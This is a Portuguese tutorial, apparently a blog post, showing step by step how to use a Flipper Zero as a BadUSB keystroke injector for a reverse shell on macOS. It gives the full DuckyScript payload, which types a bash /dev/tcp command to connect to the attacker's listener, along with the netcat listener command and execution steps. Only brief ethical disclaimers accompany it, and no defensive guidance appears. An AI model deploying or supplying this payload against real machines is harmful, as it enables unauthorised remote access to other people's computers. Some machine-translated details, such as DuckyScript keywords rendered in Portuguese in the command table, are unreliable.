Usando um Flipper Zero, um pequeno arquivo de texto DuckyScript de 12 linhas e um ouvinte remoto em meu servidor Ubuntu, consegui obter um shell em meu computador Ventura macOS totalmente atualizado e atualizado.
Em meu ambiente de laboratório, uso o Flipper Zero como um dispositivo de pentesting para testar vulnerabilidades em meus servidores e sistemas de desktop.
O Flipper Zero é nossa ferramenta de hacking ético preferida porque oferece um número infinito de cargas disponíveis, possui uma ferramenta de seleção de menu na tela e usa uma exibição de progresso para fornecer feedback.
Este artigo é um exemplo de como usar o Flipper Zero como um dispositivo Ethical Petesting BadUSB e como evitar ser vítima de tal exploração. Não use isso em computadores que você não possui ou tem permissão para usar. Este código não tenta se esconder de sistemas de detecção de intrusão (IDS), sistemas de prevenção de intrusão (IPS), sistemas de detecção de rede, firewalls ou software antivírus (AV).
O Flipper Zero BadUSB, assim como vários outros dispositivos BadUSB, usam cargas escritas em DuckyScript. Uma linguagem de script simples para executar pressionamentos de tecla, resultando em um ataque de injeção de teclado.
Um bom ponto de referência inicial para Duckyscript Payloads é o site oficial do Hak5:
Você pode usar um script pronto ou aprender a escrever o seu próprio. Mostraremos como explorar um shell reverso em um computador macOS em um passo a passo simples.
Use seu editor de texto favorito e digite o seguinte texto. O macOS tem o aplicativo TextEdit instalado por padrão, então vamos usá-lo.
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
Para este passo a passo, não precisamos saber muito sobre o DuckyScript, então veremos alguns comandos que nosso script usa. Na verdade, existem apenas cinco comandos diferentes que usamos.
Comando | Descrição |
---|---|
ID 05ac:021e Apple:Teclado | Esta linha diz ao macOS que nosso Flipper Zero é realmente um teclado Apple. Se você não usar esta linha, o macOS exibirá a caixa de diálogo Assistente de configuração do teclado, que fará com que seu script falhe. |
ATRASO | Este comando instrui o sistema operacional a aguardar um período de tempo. Se não usarmos esses atrasos, o script será executado muito rápido e falhará. |
ESPAÇO GUI | Pressiona a tecla Apple Command e a barra de espaço para abrir a janela 'Spotlight Search'. |
Terminal STRING | Insere a string 'Terminal' na janela de pesquisa do Spotlight |
DIGITAR | Pressione a tecla ENTER ou Return em seu teclado. Depois de pressionar a tecla ENTER, o macOS inicia a janela do Terminal (/Aplicativos/Utilitários/Terminal) |
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | Este comando insere o texto na janela do terminal que estabelece uma conexão com o servidor Netcat escutando em 10.10.10.157 na porta 4444 |
Altere o endereço IP em 10.10.10.157 e a porta 4444 para o endereço IP e a porta do seu servidor.
Salve este arquivo em seu disco como rev_shell_macos.txt . Não há nenhuma organização de subdiretório no diretório badusb no Flipper Zero, portanto, se você estiver usando várias cargas úteis para diferentes sistemas operacionais, use uma convenção de nomenclatura que signifique algo para você, para que você saiba o que ela faz.
Se você ainda não instalou o aplicativo qflipper, acesse a página de atualização oficial do Flipper Zero e selecione o instalador para o seu sistema operacional. A página é a página de atualização do firmware, mas na parte inferior há links para instalar o aplicativo qflipper.
https://flipperzero.one/update
Siga as instruções do seu sistema operacional para instalar o aplicativo qflipper.
Abra o aplicativo qflipper e selecione o ícone da pasta destacado em vermelho.
Selecione e clique duas vezes no ícone do cartão SD para visualizar o conteúdo.
Localize e arraste o arquivo rev_shell_macos.txt que criamos anteriormente para a pasta badusb .
Remova o Flipper Zero do seu computador quando o arquivo for copiado.
O Flipper Zero BadUSB está armado e pronto para uso. Mas primeiro, precisamos configurar nosso ouvinte remoto em nosso servidor. Em nosso servidor Ubuntu, inicie o ouvinte Netcat com o seguinte comando:
$ nc -nlvp 4444
A divisão do comando está listada na tabela a seguir. Novamente, você realmente não precisa saber o que está acontecendo usando este comando, além de estar esperando por uma conexão de entrada.
Comando | Opções |
---|---|
nc | comando netcat |
-nlvp | ( n ) sem resolução de DNS, ( l ) escuta a conexão de entrada, ( v ) saída detalhada, ( p ) porta |
4444 | Número da porta para escutar |
Agora que nosso ouvinte Netcat está pronto e aguardando uma conexão de entrada, podemos prosseguir com o ataque Flipper Zero BadUSB.
A parte difícil está feita. O arquivo Flipper Zero BadUSB reverse_shell_macos.txt é gravado, movido para o Flipper Zero e o ouvinte Netcat está aguardando uma conexão.
Localize o menu Bad USB e selecione o botão Executar. Não conecte seu Flipper Zero ao computador ainda. O Flipper Zero avisa quando é hora de conectar seu dispositivo.
Navegue até o arquivo DuckyScript que copiamos na etapa anterior. Se você não vir este arquivo, então você o copiou para o diretório errado. Selecione rev_shell_macos e clique no botão Executar.
Ao ver o alerta Conectar a USB , você pode conectar seu Flipper Zero à porta USB do seu iMac ou MacBook. Clique no botão Executar.
Você pode observar o progresso do seu script BadUSB na janela principal. Quando o status atingir 100%, a carga útil estará completa e você poderá remover o Flipper Zero.
Se você estiver observando o monitor do computador do iMac, poderá ver o exploit enquanto ele executa o DuckyScript. O ouvinte Netcat em nosso servidor Ubuntu exibe os resultados da solicitação bem-sucedida.
Agora você tem controle do computador macOS por meio de um shell reverso. Executando em uma versão do BSD Linux, você pode usar as ferramentas de linha de comando do Unix e um shell BASH como se estivesse sentado no teclado do iMac físico.
Você pode usar comandos regulares do Linux como whoami , pwd , ls ou cd para navegar no sistema de arquivos e manipular o sistema operacional.
Agora que você entendeu como o Flipper Zero funciona como um dispositivo BadUSB, você pode criar seus próprios scripts. Use o site Hak5 ou um dos muitos repositórios DuckyScript GitHub disponíveis por meio de uma pesquisa no Google como ponto de partida para seus próprios arquivos Duckyscript.
Atuar de forma legal e ética. Use esta ferramenta em dispositivos que você possui ou tem permissão para usar.